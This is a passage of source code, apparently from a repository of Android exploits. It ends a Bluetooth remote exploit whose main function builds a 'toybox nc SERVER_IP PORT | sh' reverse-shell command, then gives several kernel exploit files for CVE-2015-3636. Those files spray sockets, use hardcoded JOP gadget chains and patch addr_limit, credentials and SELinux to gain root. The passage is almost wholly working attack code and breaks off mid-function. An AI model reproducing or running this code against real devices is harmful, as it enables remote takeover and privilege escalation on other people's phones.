&remote_l2_addr,sizeof(remote_l2_addr)) < 0) { 421 | perror("[-]Can't connect"); 422 | goto out; 423 | } 424 | printf("[+]prepare_heap\n"); 425 | 426 | 427 | while(count++ < 20) 428 | prepare_heap(sock_fd); 429 | 430 | memcpy(overflow_content, "\x00\x00\x00\x00", 4); 431 | memcpy(overflow_content + 4, &bss_name, 4); 432 | //memcpy(overflow_content + 4, "aaaa", 4); 433 | printf("[+]send fack data\n"); 434 | while(count++ < 300) { 435 | send_bnep_req(sock_fd, overflow_content); 436 | } 437 | out: 438 | 439 | close(sock_fd); 440 | return 0; 441 | } 442 | 443 | 444 | static int test_connect() { 445 | int sock_fd; 446 | int ret = -1; 447 | struct sockaddr_l2 local_l2_addr; 448 | struct sockaddr_l2 remote_l2_addr; 449 | 450 | sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP); 451 | if(sock_fd == -1){ 452 | perror("[-]socket create failed : "); 453 | return -1; 454 | } 455 | 456 | memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2)); 457 | local_l2_addr.l2_family = PF_BLUETOOTH; 458 | memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t)); 459 | 460 | 461 | ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2)); 462 | if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) { 463 | if(errno == 115) { //Operation now in progress 464 | printf("[+]get the shell\n"); 465 | ret = 1; 466 | } 467 | else 468 | printf("[-]failed ,retry\n"); 469 | } 470 | 471 | close(sock_fd); 472 | return ret; 473 | } 474 | 475 | int main(int argc, char *argv[]) { 476 | int retry_count; 477 | int i; 478 | int pid; 479 | char server_ip[30]; 480 | char server_port[6]; 481 | 482 | if(argc < 3) { 483 | printf("usage : sudo ./exp TARGET_ADDR SERVER_IP SERVER_PORT\n"); 484 | return -1; 485 | } 486 | 487 | 488 | strncpy(target_addr, argv[1], 18); 489 | strncpy(server_ip, argv[2], 16); 490 | strncpy(server_port, argv[3], 6); 491 | 492 | remote_cmd = (char *)malloc(0x70); 493 | sprintf(remote_cmd, ";toybox nc %s %s | sh", server_ip, server_port); 494 | 495 | printf("%s\n", remote_cmd); 496 | 497 | 498 | for(i = 0; i < sizeof(dev_list)/sizeof(struct dev_config); i++){ 499 | current_dev = &dev_list[i]; 500 | retry_count = 5; 501 | while(retry_count-- > 0){ 502 | if(leak_stack_data() != -1) 503 | printf("[+]leak data success\n"); 504 | get_libc_address(); 505 | set_payload(); 506 | set_local_dev_name(payload); 507 | sleep(4); 508 | /*to let remote device store our device name(payload)*/ 509 | leak_stack_data(); 510 | leak_stack_data(); 511 | leak_stack_data(); 512 | leak_stack_data(); 513 | leak_stack_data(); 514 | leak_stack_data(); 515 | leak_stack_data(); 516 | 517 | send_overflow_data(); 518 | if(test_connect() == 1) 519 | exit(0); 520 | sleep(20); 521 | } 522 | } 523 | return 0; 524 | } 525 | 526 | //dc:09:4c:17:8c:02 -------------------------------------------------------------------------------- /android_root/cve-2015-3636/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "get_root.h" 15 | 16 | #define TOTAL_SOCK_NUM 9500000 17 | #define MAGIC_BASE_ADDR 0x200000 18 | #define MAGIC_ADDR 0x200200 19 | #define MAGIC_NUM(x) (0x0dead000|x) 20 | #define MEM_MIN_LEN 0x1000 21 | #define TAG "CVE_2015_3636" 22 | #define true 1 23 | #define false 0 24 | #define SOCK_NUM 1000 25 | #define MAP_NUM 0x800 26 | #define PYHSMAP_LENTH (2*1024*1024) 27 | #define CHILD_NUM 100 28 | #define SIOCGSTAMPNS 0x8907 29 | #define NSEC_PER_SEC 1000000000 30 | #define MAX_SOCK_ID 1000 31 | #define ADDR_LIMIT_OFFSET 0x8 32 | #ifndef __aarch64__ 33 | #define KERNEL_START 0xc0080000 34 | #define TIMESTAMP_OFFSET 0x158 35 | #define SOCKPROT_OFFSET 0x1c 36 | #define SP_MASK 0xFFFFFC00 37 | #ifndef PAGE_MASK 38 | #define PAGE_MASK 0xFFFFF000 39 | #endif 40 | #else 41 | #define KERNEL_START 0xffffffc000080000 42 | #define SP_MASK 0xFFFFFFFFFFFFC000 43 | #define TIMESTAMP_OFFSET 0x1d8 44 | #define SOCKPROT_OFFSET 0x28 45 | #define RXHASH_OFFSET 0x9c 46 | #define X1_OFFSET 0x138 47 | #define SOCK_FLAG_OFFSET 0xc8 48 | #ifndef PAGE_MASK 49 | #define PAGE_MASK 0xfffffffffffff000 50 | #endif 51 | #endif 52 | 53 | #define POINT_ADD(x,y) ((size_t)x+y) 54 | 55 | int sock_fd[SOCK_NUM]; 56 | void *map_address[MAP_NUM]; 57 | int kill_child = 0; 58 | int current_sock_num = 0; 59 | int target_sock_1 = 0; 60 | int target_sock_2 = 0; 61 | void *target_sock_addr1 = NULL; 62 | void *target_sock_addr2 = NULL; 63 | void *fack_prot[300]; 64 | void *target_sock_prot_addr1 = NULL; 65 | void *target_sock_prot_addr2 = NULL; 66 | void *target_exec_kaddr; 67 | void *target_exec_uaddr; 68 | void *kerner_sp_bottom = NULL; 69 | int end_child = 0; 70 | 71 | 72 | extern int get_root_after_addrlimit_patched(void *_thread_info); 73 | 74 | extern int patch_selinux_by_change_switch(void *selinux_enforcing,void *selinux_enabled); 75 | 76 | extern void* compute_physmap(void *usr_addr); 77 | 78 | static int maximize_fd_limit(void) 79 | { 80 | struct rlimit rlim; 81 | int ret; 82 | 83 | ret = getrlimit(RLIMIT_NOFILE, &rlim); 84 | if (ret != 0) { 85 | return -1; 86 | } 87 | 88 | rlim.rlim_cur = rlim.rlim_max; 89 | setrlimit(RLIMIT_NOFILE, &rlim); 90 | 91 | ret = getrlimit(RLIMIT_NOFILE, &rlim); 92 | if (ret != 0) { 93 | return -1; 94 | } 95 | 96 | return rlim.rlim_cur; 97 | } 98 | 99 | static int lock_page_in_memory(void *address, size_t size) 100 | { 101 | int ret; 102 | ret = mlock(address, size); 103 | if (ret != 0) { 104 | return -1; 105 | } 106 | return 0; 107 | } 108 | 109 | static inline void populate_pagetable_for_address(void *address) 110 | { 111 | *(void **)address = NULL; 112 | } 113 | 114 | static int map_prepare_avoid_crash(){ 115 | void *map; 116 | map = mmap((void *)(MAGIC_BASE_ADDR),MEM_MIN_LEN, 117 | PROT_READ | PROT_WRITE, 118 | MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0); 119 | if(map!=(void *)MAGIC_BASE_ADDR){ 120 | printf("[-]0x200200 failed\n"); 121 | return false; 122 | } 123 | printf("[+]map prepare ok map:%p\n",map); 124 | populate_pagetable_for_address(map); 125 | lock_page_in_memory(map, MEM_MIN_LEN); 126 | return true; 127 | } 128 | 129 | static int make_vul_socket(unsigned int num){ 130 | struct sockaddr sa; 131 | int ret; 132 | unsigned int i = 0; 133 | struct timespec tv; 134 | for(i=0;i> 32); 153 | size = PYHSMAP_LENTH/sizeof(unsigned int); 154 | for(i=0;i 0){ 244 | current_child_num++; 245 | wait_for_child(pipe_fd); 246 | if(current_sock_num > TOTAL_SOCK_NUM){ 247 | printf("\n[+]current_sock_num :%d\n",current_sock_num); 248 | break; 249 | } 250 | close(pipe_fd[0]); 251 | close(pipe_fd[1]); 252 | continue; 253 | } 254 | } 255 | return current_child_num; 256 | } 257 | 258 | 259 | 260 | 261 | static int try_and_get_target(){ 262 | struct timespec tv; 263 | uint64_t value; 264 | size_t high, low; 265 | int ret; 266 | int index; 267 | unsigned int i; 268 | int count = 0; 269 | for(i=0;i> 32); 278 | low = (size_t)value&0xffffffffff; 279 | if(((high&0xffffff00) == MAGIC_NUM(0))){ 280 | if(count == 0){ 281 | printf("[+]get target 1!%p,%p,%d\n",high,low,i); 282 | target_sock_1 = sock_fd[i]; 283 | target_sock_addr1 = (void *)(low-TIMESTAMP_OFFSET);//map! 284 | target_exec_kaddr = compute_physmap((void *)((unsigned long)target_sock_addr1&PAGE_MASK)); 285 | target_exec_uaddr = (void *)(low & PAGE_MASK); 286 | count++; 287 | }else if(count == 1){ 288 | printf("[+]get target 2!%p,%p,%d\n",high,low,i); 289 | target_sock_2 = sock_fd[i]; 290 | target_sock_addr2 = (void *)(low-TIMESTAMP_OFFSET); 291 | return 1; 292 | } 293 | 294 | } 295 | } 296 | return 0; 297 | } 298 | 299 | static int override_physmap(){ 300 | void *map; 301 | unsigned int i,ret; 302 | int target_index; 303 | for(i=0;iLDR R0, [R5,#0x50]--->LDR R3, [R0,#8]--->LDR R3,[R3,#0x10] 370 | *(unsigned *)(JOP_BASE_ADDR+0x300+0x50) = JOP_BASE_ADDR+0x400; 371 | *(unsigned *)(JOP_BASE_ADDR+0x400+8) = JOP_BASE_ADDR+0x500; 372 | *(unsigned *)(JOP_BASE_ADDR+0x500+0x10) = 0xc0a1747c; //ret from inet_release 373 | } 374 | 375 | 376 | static inline void construct_fack_prot_leak_sp_32(){ 377 | fack_prot[0] = (void *)0xc06f9f84; 378 | // .text:C06F9F84 LDR R3, [R2,#8] R2=JOP_BASE_ADDR 379 | // .text:C06F9F88 MOV R0, R2 380 | // .text:C06F9F8C LDR R3, [R3,#4] 381 | // .text:C06F9F90 BLX R3 382 | } 383 | 384 | static inline void construct_mem_patch_aadr_limit_32(){ 385 | fack_prot[0] = (void *)0xc0184e54; 386 | // .text:C0184E54 LDR R3, [R4,#4] 387 | // .text:C0184E58 MOVT R0, #0x333 388 | // .text:C0184E5C STR R1, [R2,#0x20] 389 | // .text:C0184E60 BLX R3 390 | *(unsigned *)((unsigned int)target_sock_addr2+4) = 0xc0a1747c; // sk+4--->R4+4 391 | } 392 | 393 | 394 | 395 | static void prepare_target_1_32(){ 396 | construct_jop_leak_sp_32(); 397 | construct_fack_prot_leak_sp_32(); 398 | target_sock_prot_addr1 = (void *)POINT_ADD(target_sock_addr1,SOCKPROT_OFFSET); 399 | *(unsigned long *)target_sock_prot_addr1 = (unsigned long)&fack_prot[0]; 400 | *(int *)POINT_ADD(target_sock_addr1,0x2c) = 0; //mmap_queue 401 | *(long *)POINT_ADD(target_sock_addr1,0x88) = 0xffff0000;//time_flag 402 | *(long *)POINT_ADD(target_sock_addr1,0x6c) = JOP_BASE_ADDR; 403 | memset((void *)POINT_ADD(target_sock_addr1,0x88),0,0x300); //avoid crash 404 | 405 | 406 | 407 | } 408 | 409 | 410 | static void prepare_target_2_32(){ 411 | construct_mem_patch_aadr_limit_32(); 412 | target_sock_prot_addr2 = (void *)POINT_ADD(target_sock_addr2,SOCKPROT_OFFSET); 413 | *(unsigned long *)target_sock_prot_addr2 = (unsigned long)&fack_prot[0]; 414 | *(int *)POINT_ADD(target_sock_addr2,0x2c) = 0; //mmap_queue 415 | *(long *)POINT_ADD(target_sock_addr2,0x88) = 0xffff0000;//time_flag 416 | *(long *)POINT_ADD(target_sock_addr2,0x6c) = (unsigned long)kerner_sp_bottom+8-0x20; //R2 addr_limit-0x20 417 | memset((void *)POINT_ADD(target_sock_addr2,0x88),0,0x300); //avoid crash 418 | } 419 | 420 | #else 421 | #define JOP_BASE_ADDR 0x30303000 422 | 423 | 424 | static inline void construct_fack_prot_leak_sp_64(){ 425 | fack_prot[0] = (void *)0xffffffc0002e38fc; 426 | // : ldr x2, [x1, #8] ; ldr x0, [x1] ; blr x2 427 | // jop[0] 428 | } 429 | 430 | static inline void construct_mem_patch_aadr_limit_64(){ 431 | fack_prot[0] = (void *)0xffffffc0001af5ec; 432 | //sub x3, x3, #0x90 ; str x3, [x1, #0x48] ; ret 433 | } 434 | 435 | 436 | static void construct_jop_leak_sp_64(){ 437 | void *map; 438 | size_t jop[8]; 439 | size_t x0 = 0x100,x3 = 0x300,x6 = 0x200,j4_addr=0x400; 440 | jop[0]=0xffffffc0002e38fc; 441 | // : ldr x2, [x1, #8] ; ldr x0, [x1] ; blr x2 442 | jop[1]=0xffffffc000360c9c; 443 | // : ldr x6, [x0, #0x28] ; ldr x5, [x6, #0x50] ; cbz x5, #0x2e0cc0 ; blr x5 444 | jop[2]=0xffffffc0000f582C; 445 | //: ldr x3, [x0, #0x18] ; ldr x2, [x3, #0x18] ; cbz x2, #0x75864 ; blr x2 446 | jop[3]=0xffffffc00048e11c; 447 | //: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2 448 | jop[4]=0xffffffc000083db8; 449 | //: mov x0, sp ; blr x1 450 | jop[5]=0xffffffc000277254; 451 | //: ldr x2, [x3, #0xa0] ; cbz x2, #0x1f7278 ; mov x1, x0 ; mov x0, x3 ; blr x2 452 | jop[6]=0xffffffc0002702c4; 453 | //: str x1, [x3, #0xc0] ; ldr x1, [x6, #0x20] ; blr x1 454 | jop[7]=0xFFFFFFC0003FEA34; // ajust x30 and ret 455 | map = mmap((void *)JOP_BASE_ADDR,0x1000,PROT_WRITE | PROT_READ | PROT_EXEC,MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS,-1,0); 456 | if((size_t)map!=JOP_BASE_ADDR){ 457 | printf("[-]mmap jop base addr failed\n"); 458 | return; 459 | } 460 | *(size_t *)JOP_BASE_ADDR = JOP_BASE_ADDR+x0; 461 | *(size_t *)(JOP_BASE_ADDR+8) = jop[1]; 462 | *(size_t *)(JOP_BASE_ADDR+x0+0x18) = JOP_BASE_ADDR+x3; 463 | *(size_t *)(JOP_BASE_ADDR+x0+0x28) = JOP_BASE_ADDR+x6; 464 | *(size_t *)(JOP_BASE_ADDR+x0+0x58) = JOP_BASE_ADDR+j4_addr; 465 | *(size_t *)(JOP_BASE_ADDR+x0+0x60) = jop[5]; 466 | *(size_t *)(JOP_BASE_ADDR+x6+0x20) = jop[7]; 467 | *(size_t *)(JOP_BASE_ADDR+x6+0x50) = jop[2]; 468 | *(size_t *)(JOP_BASE_ADDR+x3+0x18) = jop[3]; 469 | *(size_t *)(JOP_BASE_ADDR+x3+0xa0) = jop[6]; 470 | *(size_t *)(JOP_BASE_ADDR+j4_addr) = jop[4]; 471 | } 472 | 473 | static void prepare_target_1_64(){ 474 | construct_jop_leak_sp_64(); 475 | construct_fack_prot_leak_sp_64(); 476 | target_sock_prot_addr1 = (void *)POINT_ADD(target_sock_addr1,SOCKPROT_OFFSET); 477 | *(unsigned long *)target_sock_prot_addr1 = (unsigned long)&fack_prot[0]; 478 | *(int *)POINT_ADD(target_sock_addr1,RXHASH_OFFSET) = 0; 479 | *(long *)POINT_ADD(target_sock_addr1,SOCK_FLAG_OFFSET) = 0xffffffff;//time_flag,get x1 controled need this 480 | *(long *)POINT_ADD(target_sock_addr1,X1_OFFSET) = JOP_BASE_ADDR; 481 | memset((void *)POINT_ADD(target_sock_addr1,X1_OFFSET+0x20),0,0x300); //avoid crash 482 | } 483 | 484 | 485 | static void prepare_target_2_64(){ 486 | construct_mem_patch_aadr_limit_64(); 487 | target_sock_prot_addr2 = (void *)POINT_ADD(target_sock_addr2,SOCKPROT_OFFSET); 488 | *(unsigned long *)target_sock_prot_addr2 = (unsigned long)&fack_prot[0]; 489 | *(int *)POINT_ADD(target_sock_addr2,RXHASH_OFFSET) = 0; //mmap_queue 490 | *(long *)POINT_ADD(target_sock_addr2,SOCK_FLAG_OFFSET) = 0xffffffff;//time_flag 491 | *(long *)POINT_ADD(target_sock_addr2,X1_OFFSET) = (long)kerner_sp_bottom+ADDR_LIMIT_OFFSET-0x48; //x1 addr_limit 492 | memset((void *)POINT_ADD(target_sock_addr2,X1_OFFSET+0x20),0,0x300); //avoid crash 493 | } 494 | 495 | #endif 496 | 497 | #ifndef __aarch64__ 498 | #define LEEK_OFFSET 0 499 | #else 500 | #define LEEK_OFFSET 0x3c0 501 | #endif 502 | static int leek_kernel_sp(){ 503 | int ret; 504 | if(target_sock_1 <= 0){ 505 | printf("[-]sad no socket\n"); 506 | return -1; 507 | } 508 | #ifndef __aarch64__ 509 | prepare_target_1_32(); 510 | #else 511 | prepare_target_1_64(); 512 | #endif 513 | close(target_sock_1); 514 | kerner_sp_bottom = (void *)((*(size_t *)(JOP_BASE_ADDR+LEEK_OFFSET)) & SP_MASK); 515 | if(kerner_sp_bottom!=NULL){ 516 | printf("[+]leek kernel sp done! kernel_sp : %p\n",kerner_sp_bottom); 517 | //scanf("%d",&ret); 518 | return 1; 519 | } 520 | else{ 521 | printf("[-]leek kernel sp failed\n"); 522 | return 0; 523 | } 524 | } 525 | 526 | 527 | 528 | static int patch_addr_limit(){ 529 | int ret; 530 | #ifndef __aarch64__ 531 | prepare_target_2_32(); 532 | #else 533 | prepare_target_2_64(); 534 | #endif 535 | close(target_sock_2); 536 | printf("[+]pach addr_limit ok\n"); 537 | //scanf("%d",&ret); 538 | return 1; 539 | } 540 | 541 | static int prepareWork(){ 542 | int pid[CHILD_NUM],i,main_sock_num,current_child_num,ret; 543 | maximize_fd_limit(); 544 | current_child_num = create_child_socket(pid); 545 | main_sock_num = create_main_socket(); 546 | printf("[+]get %d socket\n",main_sock_num); 547 | kill_all_child(pid,current_child_num); 548 | if(!map_prepare_avoid_crash()) 549 | return -1; 550 | if(!make_vul_socket(main_sock_num)) 551 | return -1; 552 | printf("[+]make vul socket done\n"); 553 | if(override_physmap() == 0){ 554 | return -1; 555 | } 556 | printf("[+]OK ,let's leek kerner sp\n"); 557 | if(leek_kernel_sp()) 558 | return 1; 559 | return 0; 560 | } 561 | 562 | 563 | static void clean_physmap(){ 564 | int i=0; 565 | for(i=0;i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define TOTAL_SOCK_NUM 6500000 18 | #define MAGIC_BASE_ADDR 0x200000 19 | #define MAGIC_ADDR 0x200200 20 | #define MAGIC_NUM(x) (0x07777000|x) 21 | #define MAGIC_NUM2 0x0db4da5f 22 | #define test_num 0x12345678 23 | #define MEM_LEN 0x1000 24 | #define TAG "CVE_2015_3636" 25 | #define true 1 26 | #define false 0 27 | #define SOCK_NUM 900 28 | #define MAP_NUM 0x400 29 | #define MAP_LENTH (2*1024*1024) 30 | #define CHILD_NUM 100 31 | #define OOM_DISABLE (-17) 32 | #define SIOCGSTAMPNS 0x8907 33 | #define NSEC_PER_SEC 1000000000 34 | #define MAX_SOCK_ID 1000 35 | #define TIMESTAMP_OFFSET 0x158 36 | #define SOCKPROT_OFFSET 0x1c 37 | int sock_fd[SOCK_NUM]; 38 | void *map_address[MAP_NUM]; 39 | int kill_child = 0; 40 | int child_kill[CHILD_NUM]={0}; 41 | int current_sock_num = 0; 42 | 43 | int target_sock_1 = 0; 44 | int target_sock_2 = 0; 45 | void *target_sock_addr1 = NULL; 46 | void *target_sock_addr2 = NULL; 47 | void *fack_prot[300]; 48 | void *target_sock_prot_addr1 = NULL; 49 | void *target_sock_prot_addr2 = NULL; 50 | 51 | void *kerner_sp = NULL; 52 | int final_pipe[2]; 53 | 54 | int write_pipe; 55 | int read_pipe; 56 | 57 | 58 | static int 59 | maximize_fd_limit(void) 60 | { 61 | struct rlimit rlim; 62 | int ret; 63 | 64 | ret = getrlimit(RLIMIT_NOFILE, &rlim); 65 | if (ret != 0) { 66 | return -1; 67 | } 68 | 69 | rlim.rlim_cur = rlim.rlim_max; 70 | setrlimit(RLIMIT_NOFILE, &rlim); 71 | 72 | ret = getrlimit(RLIMIT_NOFILE, &rlim); 73 | if (ret != 0) { 74 | return -1; 75 | } 76 | 77 | return rlim.rlim_cur; 78 | } 79 | 80 | static int 81 | lock_page_in_memory(void *address, size_t size) 82 | { 83 | int ret; 84 | 85 | ret = mlock(address, size); 86 | if (ret != 0) { 87 | return -1; 88 | } 89 | 90 | return 0; 91 | } 92 | 93 | static void 94 | populate_pagetable_for_address(void *address) 95 | { 96 | *(void **)address = NULL; 97 | } 98 | 99 | static int mapPrepare(){ 100 | void *map; 101 | map = mmap((void *)(MAGIC_BASE_ADDR),MEM_LEN, 102 | PROT_READ | PROT_WRITE, 103 | MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0); 104 | if(map!=(void *)MAGIC_BASE_ADDR){ 105 | printf("[-]0x200200 failed\n"); 106 | return false; 107 | } 108 | printf("[+]map prepare ok map:%p\n",map); 109 | populate_pagetable_for_address(map); 110 | lock_page_in_memory(map, MEM_LEN); 111 | return true; 112 | } 113 | 114 | static int makeVulSocket(int num){ 115 | struct sockaddr sa; 116 | int ret; 117 | unsigned int i = 0; 118 | struct timespec tv; 119 | for(i=0;i 0){ 251 | //scanf("%d",&ret); 252 | current_child_num++; 253 | wait_for_child(pipe_fd); 254 | if(current_sock_num > TOTAL_SOCK_NUM){ 255 | printf("\n[+]current_sock_num :%d\n",current_sock_num); 256 | break; 257 | } 258 | close(pipe_fd[0]); 259 | close(pipe_fd[1]); 260 | continue; 261 | } 262 | } 263 | return current_child_num; 264 | } 265 | 266 | int try_and_get_target(){ 267 | struct timespec tv; 268 | uint64_t value; 269 | uint32_t high, low; 270 | int ret; 271 | int index; 272 | unsigned int i; 273 | int count = 0; 274 | for(i=0;i> 32); 283 | low = (unsigned)value; 284 | if((high == MAGIC_NUM2)||(low == MAGIC_NUM2)){ 285 | if(count == 0){ 286 | printf("[+]get target 1!%x,%x\n",high,low); 287 | target_sock_1 = sock_fd[i]; 288 | target_sock_addr1 = (void *)(low-TIMESTAMP_OFFSET); 289 | count++; 290 | }else if(count == 1){ 291 | printf("[+]get target 2!%x,%x\n",high,low); 292 | target_sock_2 = sock_fd[i]; 293 | target_sock_addr2 = (void *)(low-TIMESTAMP_OFFSET); 294 | return 1; 295 | } 296 | 297 | } 298 | } 299 | return 0; 300 | } 301 | 302 | #define JOP_BASE_ADDR 0x30303100 303 | 304 | void construct_jop_leak_sp(){ 305 | void *map; 306 | map = mmap(JOP_BASE_ADDR-0x100,0x1000,PROT_WRITE | PROT_READ | PROT_EXEC,MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS,-1,0); 307 | if(map!=JOP_BASE_ADDR-0x100){ 308 | printf("[-]mmap jop base addr failed\n"); 309 | return; 310 | } 311 | *(unsigned *)(JOP_BASE_ADDR+0x8) = JOP_BASE_ADDR+0x100; //jmp r3 @ 1th 312 | *(unsigned *)(JOP_BASE_ADDR+0x100+4) = 0xc0209bb8; //.text:C0209BB8 LDR R1, [r0,#-0x30] 313 | // .text:C0209BBC LDR R5, [r0,#-0x34] 314 | // .text:C0209BC0 MOV R4, r0 315 | // .text:C0209BC4 LDR R2, [r0,#-0x2C] 316 | // .text:C0209BC8 LDR R3, [R1,#0x80] 317 | // .text:C0209BCC MOV R0, R5 318 | // .text:C0209BD0 BLX R3 319 | *(unsigned *)(JOP_BASE_ADDR-0x30) = JOP_BASE_ADDR+0x200; 320 | *(unsigned *)(JOP_BASE_ADDR+0x200+0x80) = 0xc0116c7c; 321 | // .text:C0116C7C MOV R3, SP 322 | // .text:C0116C80 BIC R3, R3, #0x1FC0 323 | // .text:C0116C84 BIC R3, R3, #0x3F 324 | // .text:C0116C88 LDR R0, [R3,#0x14] 325 | // .text:C0116C8C BLX R2 326 | *(unsigned *)(JOP_BASE_ADDR-0x2c) = 0xc06d2730; 327 | // .text:C06D2730 STR R3, [R4] 328 | // .text:C06D2734 MOV R2, #0x20 329 | // .text:C06D2738 STR R6, [R4,#0x20] 330 | // .text:C06D273C STR R0, [R4,#4] 331 | // .text:C06D2740 LDR R0, [R5,#0x50] 332 | // .text:C06D2744 LDR R3, [R0,#8] 333 | // .text:C06D2748 LDR R3, [R3,#0x10] 334 | // .text:C06D274C BLX R3 335 | 336 | 337 | *(unsigned *)(JOP_BASE_ADDR-0x34) = JOP_BASE_ADDR+0x300; // ldr r5,[r0, #-34]---->LDR R0, [R5,#0x50]--->LDR R3, [R0,#8]--->LDR R3,[R3,#0x10] 338 | *(unsigned *)(JOP_BASE_ADDR+0x300+0x50) = JOP_BASE_ADDR+0x400; 339 | *(unsigned *)(JOP_BASE_ADDR+0x400+8) = JOP_BASE_ADDR+0x500; 340 | *(unsigned *)(JOP_BASE_ADDR+0x500+0x10) = 0xc0a1747c; //ret from inet_release 341 | } 342 | 343 | 344 | void construct_fack_prot_leak_sp(){ 345 | int i=0; 346 | for(i=0;i<300;i++){ 347 | fack_prot[i] = (void *)&fack_prot[2]; 348 | } 349 | fack_prot[0] = (void *)0xc06f9f84; 350 | // .text:C06F9F84 LDR R3, [R2,#8] R2=JOP_BASE_ADDR 351 | // .text:C06F9F88 MOV R0, R2 352 | // .text:C06F9F8C LDR R3, [R3,#4] 353 | // .text:C06F9F90 BLX R3 354 | } 355 | 356 | void prepare_target_1(){ 357 | construct_jop_leak_sp(); 358 | construct_fack_prot_leak_sp(); 359 | target_sock_prot_addr1 = target_sock_addr1+SOCKPROT_OFFSET; 360 | *(unsigned long *)target_sock_prot_addr1 = &fack_prot[0]; 361 | *(int *)(target_sock_addr1+0x2c) = 0; //mmap_queue 362 | *(long *)(target_sock_addr1+0x88) = 0xffff0000;//time_flag 363 | *(int *)(target_sock_addr1+0x6c) = JOP_BASE_ADDR; 364 | memset(target_sock_addr1+0x88,0,0x300); //avoid crash 365 | } 366 | 367 | void construct_mem_patch_aadr_limit(){ 368 | fack_prot[0] = 0xc0184e54; 369 | // .text:C0184E54 LDR R3, [R4,#4] 370 | // .text:C0184E58 MOVT R0, #0x333 371 | // .text:C0184E5C STR R1, [R2,#0x20] 372 | // .text:C0184E60 BLX R3 373 | *(unsigned *)(target_sock_addr2+4) = 0xc0a1747c; // sk+4--->R4+4 374 | } 375 | 376 | 377 | void prepare_target_2(){ 378 | // 379 | // 380 | construct_mem_patch_aadr_limit(); 381 | target_sock_prot_addr2 = target_sock_addr2+SOCKPROT_OFFSET; 382 | *(unsigned long *)target_sock_prot_addr2 = &fack_prot[0]; 383 | *(int *)(target_sock_addr2+0x2c) = 0; //mmap_queue 384 | *(long *)(target_sock_addr2+0x88) = 0xffff0000;//time_flag 385 | *(int *)(target_sock_addr2+0x6c) = kerner_sp+8-0x20; //R2 addr_limit-0x20 386 | memset(target_sock_addr2+0x88,0,0x300); //avoid crash 387 | } 388 | 389 | static int overridePhysmap(){ 390 | void *map; 391 | unsigned int i,ret; 392 | int target_index; 393 | for(i=0;i 0){ 546 | ret = write(write_pipe,buffer,size); 547 | if(ret != -1) 548 | count -= ret; 549 | else 550 | return -1; 551 | } 552 | count = size; 553 | while(count > 0){ 554 | ret = read(read_pipe,target,size); 555 | if(ret != -1) 556 | count -= ret; 557 | else 558 | return -1; 559 | } 560 | return 0; 561 | } 562 | 563 | int read_kernel(void *target,void *buffer,unsigned size){ 564 | int ret,count = size; 565 | while(count > 0){ 566 | ret = write(write_pipe,target,size); 567 | if(ret != -1) 568 | count -= ret; 569 | else 570 | return -1; 571 | } 572 | count = size; 573 | while(count > 0){ 574 | ret = read(read_pipe,buffer,size); 575 | if(ret != -1) 576 | count -= ret; 577 | else 578 | return -1; 579 | } 580 | return 0; 581 | } 582 | 583 | void *get_stask_struct_addr(struct thread_info_head *thread_info){ 584 | void *task_struct_addr = NULL; 585 | int ret; 586 | ret = read_kernel(&thread_info->task,&task_struct_addr,sizeof(struct task_struct *)); 587 | if(ret == -1) 588 | printf("[-]get stask struct address failed\n"); 589 | else 590 | printf("[+]task_struct : %p\n",task_struct_addr); 591 | return task_struct_addr; 592 | } 593 | 594 | 595 | int prepare_pipe(){ 596 | int ret; 597 | int pipe_fd[2]; 598 | ret = pipe(pipe_fd); 599 | if(ret == -1){ 600 | printf("[-]pipe failed\n"); 601 | return false; 602 | } 603 | read_pipe = pipe_fd[0]; 604 | write_pipe = pipe_fd[1]; 605 | return true; 606 | } 607 | 608 | void *find_struct_cred_addr(void *task_struct_addr){ 609 | int ret,i; 610 | struct task_struct *task; 611 | void *cred_addr = NULL; 612 | unsigned int size = 0x100*sizeof(size_t); 613 | void *taskbuf = malloc(size); 614 | if(!taskbuf){ 615 | printf("[-]malloc task space failed\n"); 616 | return NULL; 617 | } 618 | ret = read_kernel(task_struct_addr,taskbuf,size); 619 | if(ret == -1) 620 | printf("[-]copy task struct failed\n"); 621 | else{ 622 | for(i=0;icpu_timers[0].next == task->cpu_timers[0].prev 625 | &&(unsigned long)task->cpu_timers[0].next > KERNEL_START 626 | &&task->cpu_timers[1].next == task->cpu_timers[1].prev 627 | &&(unsigned long)task->cpu_timers[1].next > KERNEL_START 628 | &&task->cpu_timers[2].next == task->cpu_timers[2].prev 629 | &&(unsigned long)task->cpu_timers[2].next > KERNEL_START 630 | &&task->real_cred == task->cred){ 631 | cred_addr = task->cred; 632 | break; 633 | } 634 | } 635 | } 636 | if(cred_addr ==NULL){ 637 | printf("[-]get cred address failed\n"); 638 | } 639 | else{ 640 | printf("[+]cred address : %p\n",cred_addr); 641 | } 642 | free(taskbuf); 643 | return cred_addr; 644 | 645 | } 646 | 647 | // int patch_selinux(void *security_addr){ 648 | // int ret; 649 | // struct task_security_struct test; 650 | // struct task_security_struct *security = (struct task_security_struct *)malloc(sizeof(struct task_security_struct)); 651 | // security->osid = 1; 652 | // security->sid = 1; 653 | // security->exec_sid = 0; 654 | // security->create_sid = 0; 655 | // security->keycreate_sid = 0; 656 | // security->sockcreate_sid = 0; 657 | // //printf("selinux:%p\n",security_addr); 658 | // ret = read_kernel(security_addr,&test,sizeof(test)); 659 | // if(ret == -1){ 660 | // printf("[-]read security failed\n"); 661 | // }else{ 662 | // printf("%d,%d,%d,%d,%d,%d\n",test.osid,test.sid,test.exec_sid,test.create_sid,test.keycreate_sid,test.sockcreate_sid); 663 | // } 664 | 665 | // ret 